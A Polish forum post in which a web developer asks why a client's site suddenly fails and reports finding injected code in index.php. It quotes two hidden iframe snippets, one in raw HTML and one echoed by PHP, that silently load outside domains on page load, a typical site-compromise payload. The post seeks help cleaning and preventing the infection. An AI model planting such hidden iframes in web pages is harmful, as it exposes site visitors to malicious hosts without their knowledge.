Exploit czy co? Opcje

[axwell]

Znajomy poprosił mnie o pewne przeróbki na stronie jego firmy. Zrobiłem wszystko jak należy, a następnie zakutalizowałem pliki. Oczywiście sprawdzałem czy wszytsko chodzi tak jak powinno. Nie było żadnego problemu. Dziś dzwoni do mnie i mówi że strona nie działa - wywala błąd php w składni w "index.php". Najdziwniejsze jest to, że pliku index.php w ogóle nigdy nie modyfikowałem. Zaglądam do kodu patrze a tu na końcu linijka:

[HTML] pobierz, plaintext 
<iframe src="http://nonfatcarbest.cn/ts/in.cgi?mozila16" width=2 height=4 style="visibility: hidden"></iframe>
[HTML] pobierz, plaintext 

i jescze w innym miejscu coś takiego:

[PHP] pobierz, plaintext 
<?php
echo "<iframe src=\"http://nakulpi.net/?click=C42244\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>
[PHP] pobierz, plaintext 

Skąd to mogło się wziąć? I jak zapobiec żeby znowu nie "wlazło" ?